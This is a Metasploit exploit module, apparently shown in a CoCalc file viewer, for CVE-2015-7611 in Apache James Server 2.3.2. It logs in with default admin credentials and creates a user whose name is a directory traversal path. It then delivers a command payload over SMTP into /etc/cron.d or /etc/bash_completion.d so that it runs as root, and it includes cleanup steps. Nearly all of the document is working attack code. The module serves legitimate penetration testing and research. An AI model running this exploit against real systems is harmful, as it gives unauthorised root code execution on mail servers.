CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
class MetasploitModule < Msf::Exploit::Remote
8
  Rank = NormalRanking
9

10
  include Msf::Exploit::Remote::Tcp
11
  include Msf::Exploit::CmdStager
12

13
  def initialize(info={})
14
    super(update_info(info,
15
      'Name'           => "Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write",
16
      'Description'    => %q{
17
        This module exploits a vulnerability that exists due to a lack of input
18
        validation when creating a user. Messages for a given user are stored
19
        in a directory partially defined by the username. By creating a user
20
        with a directory traversal payload as the username, commands can be
21
        written to a given directory. To use this module with the cron
22
        exploitation method, run the exploit using the given payload, host, and
23
        port. After running the exploit, the payload will be executed within 60
24
        seconds. Due to differences in how cron may run in certain Linux
25
        operating systems such as Ubuntu, it may be preferable to set the
26
        target to Bash Completion as the cron method may not work. If the target
27
        is set to Bash completion, start a listener using the given payload,
28
        host, and port before running the exploit. After running the exploit,
29
        the payload will be executed when a user logs into the system. For this
30
        exploitation method, bash completion must be enabled to gain code
31
        execution. This exploitation method will leave an Apache James mail
32
        object artifact in the /etc/bash_completion.d directory and the
33
        malicious user account.
34
      },
35
      'License'        => MSF_LICENSE,
36
      'Author'         => [
37
        'Palaczynski Jakub', # Discovery
38
        'Matthew Aberegg',   # Metasploit
39
        'Michael Burkey'     # Metasploit
40
      ],
41
      'References'     =>
42
      [
43
        [ 'CVE', '2015-7611' ],
44
        [ 'EDB', '35513' ],
45
        [ 'URL', 'https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf' ]
46
      ],
47
      'Platform'       => 'linux',
48
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
49
      'Targets'        =>
50
      [
51
        [ 'Bash Completion', {
52
          'ExploitPath' => 'bash_completion.d',
53
          'ExploitPrepend' => '',
54
          'DefaultOptions' => { 'DisablePayloadHandler' => true, 'WfsDelay' => 0 }
55
        } ],
56
        [ 'Cron', {
57
          'ExploitPath' => 'cron.d',
58
          'ExploitPrepend' => '* * * * * root ',
59
          'DefaultOptions' => { 'DisablePayloadHandler' => false, 'WfsDelay' => 90 }
60
        } ]
61
      ],
62
      'Privileged'     => true,
63
      'DisclosureDate' => '2015-10-01',
64
      'DefaultTarget'  => 1,
65
      'CmdStagerFlavor'=> [ 'bourne', 'echo', 'printf', 'wget', 'curl' ]
66
      ))
67
      register_options(
68
        [
69
          OptString.new('USERNAME', [ true, 'Root username for James remote administration tool', 'root' ]),
70
          OptString.new('PASSWORD', [ true, 'Root password for James remote administration tool', 'root' ]),
71
          OptString.new('ADMINPORT', [ true, 'Port for James remote administration tool', '4555' ]),
72
          OptString.new('POP3PORT', [false, 'Port for POP3 Apache James Service', '110' ]),
73
          Opt::RPORT(25)
74
        ])
75
  end
76

77
  def check
78
    # SMTP service check
79
    connect
80
    smtp_banner = sock.get_once
81
    disconnect
82
    unless smtp_banner.to_s.include? "JAMES SMTP Server"
83
      return CheckCode::Safe("Target port #{rport} is not a JAMES SMTP server")
84
    end
85

86
    # James Remote Administration Tool service check
87
    connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']})
88
    admin_banner = sock.get_once
89
    disconnect
90
    unless admin_banner.to_s.include? "JAMES Remote Administration Tool"
91
      return CheckCode::Safe("Target is not JAMES Remote Administration Tool")
92
    end
93

94
    # Get version number
95
    version = admin_banner.scan(/JAMES Remote Administration Tool ([\d\.]+)/).flatten.first
96
    # Null check
97
    unless version
98
      return CheckCode::Detected("Could not determine JAMES Remote Administration Tool version")
99
    end
100
    # Create version objects
101
    target_version = Rex::Version.new(version)
102
    vulnerable_version = Rex::Version.new("2.3.2")
103

104
    # Check version number
105
    if target_version > vulnerable_version
106
      return CheckCode::Safe
107
    elsif target_version == vulnerable_version
108
      return CheckCode::Appears
109
    elsif target_version < vulnerable_version
110
      return CheckCode::Detected("Version #{version} of JAMES Remote Administration Tool may be vulnerable")
111
    end
112
  end
113

114
  def execute_james_admin_tool_command(cmd)
115
    username = datastore['USERNAME']
116
    password = datastore['PASSWORD']
117
    connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']})
118
    sock.get_once
119
    sock.puts(username + "\n")
120
    sock.get_once
121
    sock.puts(password + "\n")
122
    sock.get_once
123
    sock.puts(cmd)
124
    sock.get_once
125
    sock.puts("quit\n")
126
    disconnect
127
  end
128

129
  def cleanup
130
    return unless target['ExploitPath'] == "cron.d"
131
    # Delete mail objects containing payload from cron.d
132
    username = "../../../../../../../../etc/cron.d"
133
    password = @account_password
134
    begin
135
      connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['POP3PORT']})
136
      sock.get_once
137
      sock.puts("USER #{username}\r\n")
138
      sock.get_once
139
      sock.puts("PASS #{password}\r\n")
140
      sock.get_once
141
      sock.puts("dele 1\r\n")
142
      sock.get_once
143
      sock.puts("quit\r\n")
144
      disconnect
145
    rescue
146
      print_bad("Failed to remove payload message for user '../../../../../../../../etc/cron.d' with password '#{@account_password}'")
147
    end
148

149
    # Delete malicious user
150
    delete_user_command = "deluser ../../../../../../../../etc/cron.d\n"
151
    execute_james_admin_tool_command(delete_user_command)
152
  end
153

154
  def execute_command(cmd, opts = {})
155
    # Create malicious user with randomized password (message objects for this user will now be stored in /etc/bash_completion.d or /etc/cron.d)
156
    exploit_path = target['ExploitPath']
157
    @account_password = Rex::Text.rand_text_alpha(8..12)
158
    add_user_command = "adduser ../../../../../../../../etc/#{exploit_path} #{@account_password}\n"
159
    execute_james_admin_tool_command(add_user_command)
160

161
    # Send payload via SMTP
162
    payload_prepend = target['ExploitPrepend']
163
    connect
164
    sock.puts("ehlo [email protected]\r\n")
165
    sock.get_once
166
    sock.puts("mail from: <'@apache.com>\r\n")
167
    sock.get_once
168
    sock.puts("rcpt to: <../../../../../../../../etc/#{exploit_path}>\r\n")
169
    sock.get_once
170
    sock.puts("data\r\n")
171
    sock.get_once
172
    sock.puts("From: [email protected]\r\n")
173
    sock.puts("\r\n")
174
    sock.puts("'\n")
175
    sock.puts("#{payload_prepend}#{cmd}\n")
176
    sock.puts("\r\n.\r\n")
177
    sock.get_once
178
    sock.puts("quit\r\n")
179
    sock.get_once
180
    disconnect
181
  end
182

183
  def execute_cmdstager_end(opts)
184
    if target['ExploitPath'] == "cron.d"
185
      print_status("Waiting for cron to execute payload...")
186
    else
187
      print_status("Payload will be triggered when someone logs onto the target")
188
      print_warning("You need to start your handler: 'handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}'")
189
      print_warning("After payload is triggered, delete the message and account of user '../../../../../../../../etc/bash_completion.d' with password '#{@account_password}' to fully clean up exploit artifacts.")
190
    end
191
  end
192

193
  def exploit
194
    execute_cmdstager(background: true)
195
  end
196

197
end
198

199